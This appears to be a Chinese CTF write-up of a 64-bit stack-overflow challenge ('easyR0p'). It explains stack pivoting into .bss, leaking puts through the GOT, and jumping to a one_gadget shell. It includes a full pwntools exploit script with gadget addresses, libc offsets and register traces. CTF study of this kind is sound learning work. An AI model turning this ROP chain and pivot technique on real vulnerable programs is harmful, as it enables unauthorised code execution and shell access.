pwn-栈迁移-ROP
# 栈迁移-ROP
题目描述
这里给出题目链接
https://github.com/LeeHaming/CTF-learn/blob/master/easyR0p/easyR0p
程序的结构很简单,main()函数中有一个while(1)的循环,循环中rop()函数执行。
rop()中有明显的栈溢出,最开始给s申请的内存空间为:0x40;然而read()可以读入0x50字节。
于是就可以通过溢出修改程序控制流。
解题思路
题目是别人解析出来的,我目前只能达到能看懂exp的境界…….这里就是翻译别人的exp吧
1.checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以看到启动了”栈不可执行”的保护机制;也就限制了不能在栈上运行代码。
2.寻找二进制文件提供的信息
system()
没有找到可用的system()函数
方法一:readelf -r easyR0p
方法二:在IDA-pro中使用alt+t;查找system
方法三:直接看IDA-pro中的.got.plt段信息
/bin/sh
没有找到可用的”/bin/sh”字符串
在IDA-pro中使用alt+t;查找system
可泄露的函数
readelf -r easyR0p
这里泄漏的是puts()函数地址;满足:地址中没有0a,并且是@plt函数
libc(offset/gadget/puts)
ldd easyR0p
可以知道,程序执行过程中使用libc.so.6,于是我们可以得到相应的offset
#python
from pwn import *
elf=ELF("./libc.so.6")
puts_off=elf.symbols['puts']
one_gadget ./libc.so.6
可控制字节数
gdb eadyR0p
pattern_create
pattern_offset
可以看到发生了栈溢出,此时esp(栈顶)内容为IAAeAA4A
于是我们可以找到,我们一共可以输入80bytes内容,其中最后8bytes内容可以控制程序的执行流。其中读入到s的字符串长度为64byts,这时的栈情况为:
------------------------------high-address
64bytes 合法内容
8bytes old-ebp
8bytes ret-address
-------------------------------low-address
可见我们可以控制的长度一共有16bytes。
3.思路整理
文章是关于ROP姿势的阶段性总结,里边针对不同的函数情形采取不同的方法构造ROpe
从上文可以看到,已知的二进制程序中没有可用的system()地址、/bin/sh地址、也没有可用的execve();可控制字节数为16bytes,并且栈不可执行
one_gadget && system(“/bin/sh”)
如果是system(“/bin/sh”),需要从libc.so.6中找到system()、/bin/sh,并设计执行。相比而言,在这种情况下,one_gadget()(即exceve(“/bin/sh”))更容易。因此想办法构造执行one_gadget。
于是需要获取libc_base_address—>one_gadget_address
获取libc_puts
通过puts()地址泄露,可以得到libc_base_addres
上述两个操作无法在16bytes内完成,于是需要在可读写、可执行的bss段进行构造,也就是说需要进行栈迁移
栈迁移
leave == mov esp,ebp;pop ebp;
ret == pop eip #弹出栈顶数据给eip寄存器
覆盖EBP实现栈迁移
注释: 利用的时候利用read_syscall 到execve_syscall 利用返回值当参数
注意积累栈迁移的做法,pop ebp, ret 并且利用read函数的写入功能,将执行地址写入到数据段,然后栈迁移到数据段(pop ebp; ret), 再利用 leave; ret p32(pop ebp;ret) + p32(buf - 4) + p32(leave; ret) 这样进行栈迁移
引文中提出了栈迁移的方法,需要借助:read()以及”leave/ret”将ebp修改到数据段bss;同时将希望执行的exp指令写入到数据段中,在数据段构造函数栈。
我们可以看到,该二进制文件中存在可用的read()函数,并且有可用的leave;ret
这里值得注意的是0x4006f5这行中的s是-40h;也就是从fd中读取bytes到[ebp-40h]
解读已有的exp
pop_rdi=0x4007d3 #0x00000000004007d3 : pop rdi ; ret
pop_rsi_r15=0x4007d1 #0x00000000004007d1 : pop rsi ; pop r15 ; ret
pop_rbp=0x400625 #0x0000000000400625 : pop rbp ; ret
puts_got=0x601020
puts_plt=0x400580
bss=0x601100 #.bss NOBITS 0000000000601060 00001060??
rop = 'a'*0x40
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)
r.send(rop)
rop = p64(pop_rdi)
rop += p64(puts_got)
rop += p64(puts_plt)
rop += p64(pop_rbp)
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)
rop += p64(0xdeadbeef)*2
rop += p64(bss+0x40-8)
rop += p64(0x40071C)
r.send(rop)
pause()
time.sleep(1)
data=r.recv(1000)
data=[i for i in data.split('\n') if i!='']
leak=data[-1]
leak=leak.ljust(8,'\x00')
leak=u64(leak)
print 'leak puts-->',hex(leak)
libc=leak-0x6f690
one=libc+0x4526a
rop = 'c'*0x28
rop += p64(one)
rop += '\x00'*0x20
pause()
r.send(rop)
r.interactive()
这段exp还不是我写的,下面我将详细解析每一小段的含义以及运行之后的内存情况。
用到的address
pop_rdi=0x4007d3 #0x00000000004007d3 : pop rdi ; ret
pop_rsi_r15=0x4007d1 #0x00000000004007d1 : pop rsi ; pop r15 ; ret
pop_rbp=0x400625 #0x0000000000400625 : pop rbp ; ret
puts_got=0x601020
puts_plt=0x400580
bss=0x601100 #.bss NOBITS 0000000000601060 00001060??
ROPgadget --binary easyR0p --only "pop|ret"
获取puts_plt和puts_got方法:
方法一:命令行
readelf -r easyR0p
gdb中使用:info func
方法二:在IDA-pro中查看.plt段内容和.plt.got段内容
但是至于那个bss的地址为什么是这个我就比较迷了……因为当我使用命令查看.bss地址没有找到这个,并且IDA中也不存在这个地址对应的内容。我目前猜测的是,是在bss段自己开辟了一段空间。
readelf -S easyR0p
我目前只能找到这个数字….emmmm离0x601100不太远…..这个问题以后慢慢解决
至此,这几个数字就解释完了
第一段rop
rop = 'a'*0x40
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)
r.send(rop)
这段构造了一个0x50长度rop;发送之后栈结构为:
ebp=0x7ffe24397020
esp=0x7ffe24396fe0
接着的代码段如下,这几条指令执行完之后会将[rbp-0x40h]地址给rdi;这就是puts函数的参数;然后puts()执行之后有leave;ret;然后会:
esp=0x7ffe24397020
ebp=0x601180
esp=0x7ffe24397028
eip=0x4006f5
esp=0x7ffe24397030
rdi, rsi, rdx, rcx, r8, r9 (x64函数传参过程)
leave == mov esp,ebp;pop ebp;
ret == pop eip #弹出栈顶数据给eip寄存器
到这里,就将程序流劫持到0x4006f5了,这里会进入read()
这里是在处理read()函数的参数,其中fd:edi为0;count:edx为50;buf:rsi为[rbp-0x40],即0x601140。也就是要从stdin读入0x50字节到数据段0x601140处。这里就相当于栈迁移了,接下来就要发送第二段rop,将exp指令写入到数据段中。
第二段rop
rop = p64(pop_rdi)
rop += p64(puts_got)
rop += p64(puts_plt)
rop += p64(pop_rbp)
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)
rop += p64(0xdeadbeef)*2
rop += p64(bss+0x40-8)
rop += p64(0x40071C)
r.send(rop)
第一段rop提供了Read()函数,将上边这段rop写入到0x601140中
接下来的代码段内容为:
此时
rdi=rax=0x601140
rbp=0x601180
rsp=0x7ffe24397030
然后将rdi指向的内容puts(结果时栈结构什么的都木有变化呀...)
#leave;ret之后(mov rsp,rbp;pop rbp;pop eip)
rsp=0x601180
rbp=[0x601180]=0x601138
rsp=0x601188
eip=[0x601188]=0x40071c
rsp=0x601190
这时ret命令结束的时候,返回到0x40071c地址处,这里的代码段为:
于是再一次执行leave;ret
#leave;ret之后(mov rsp,rbp;pop rbp;pop eip)
rsp=0x601138
rbp=[0x601138]=0x0
rsp=0x601140
eip=[0x601140]=0x4007d3
接着开始执行0x4007d3;栈结构变为
#0x4007d3 pop rdi;ret
rdi=[0x601148]=0x601020
next_address=0x400580 #puts_plt
接着开始执行puts_plt;这个过程结束之后可以认为栈结构没有发生变化;但是将rdi(0x601020)中的内容(puts_address)puts出来了;ret之后进入到0x400625;
#0x400625:pop rbp;ret
rsp=0x601160
rbp=[0x601160]=0x116080
rsp=0x601168
eip=0x4006f5
rsp=0x601170
这之后就进入到0x4006f5;read()函数;这就引导我们输入下一个rop了;进入下一个rop之前,需要先弄清read()函数的参数
可以看到,和上次一样,从stdin读入0x50h字节到0x601140中;也就是将下一段rop读入到0x601140中
第三段rop
rop = 'c'*0x28
rop += p64(one)
rop += '\x00'*0x20
此时
rbp=0x601140
rsp=0x601168
eip=[rsp]=0x00007f16ea27c26a
接下来就执行one_gadget了
技能总结
在IDA-pro中使用alt+t;查找system
checksec
readelf -r easyR0p
ldd easyR0p
one_gadget ./libc.so.6
gdb eadyR0p
pattern_create
pattern_offset
ROPgadget --binary easyR0p --only "pop|ret"
gdb中使用:info func
readelf -S easyR0p
rdi, rsi, rdx, rcx, r8, r9 (x64函数传参过程)
leave == mov esp,ebp;pop ebp;
ret == pop eip #弹出栈顶数据给eip寄存器
#python
from pwn import *
elf=ELF("./libc.so.6")
puts_off=elf.symbols['puts']
上一篇: secret_file(xctf)
下一篇: 基于栈的缓冲区溢出原理及两个小例子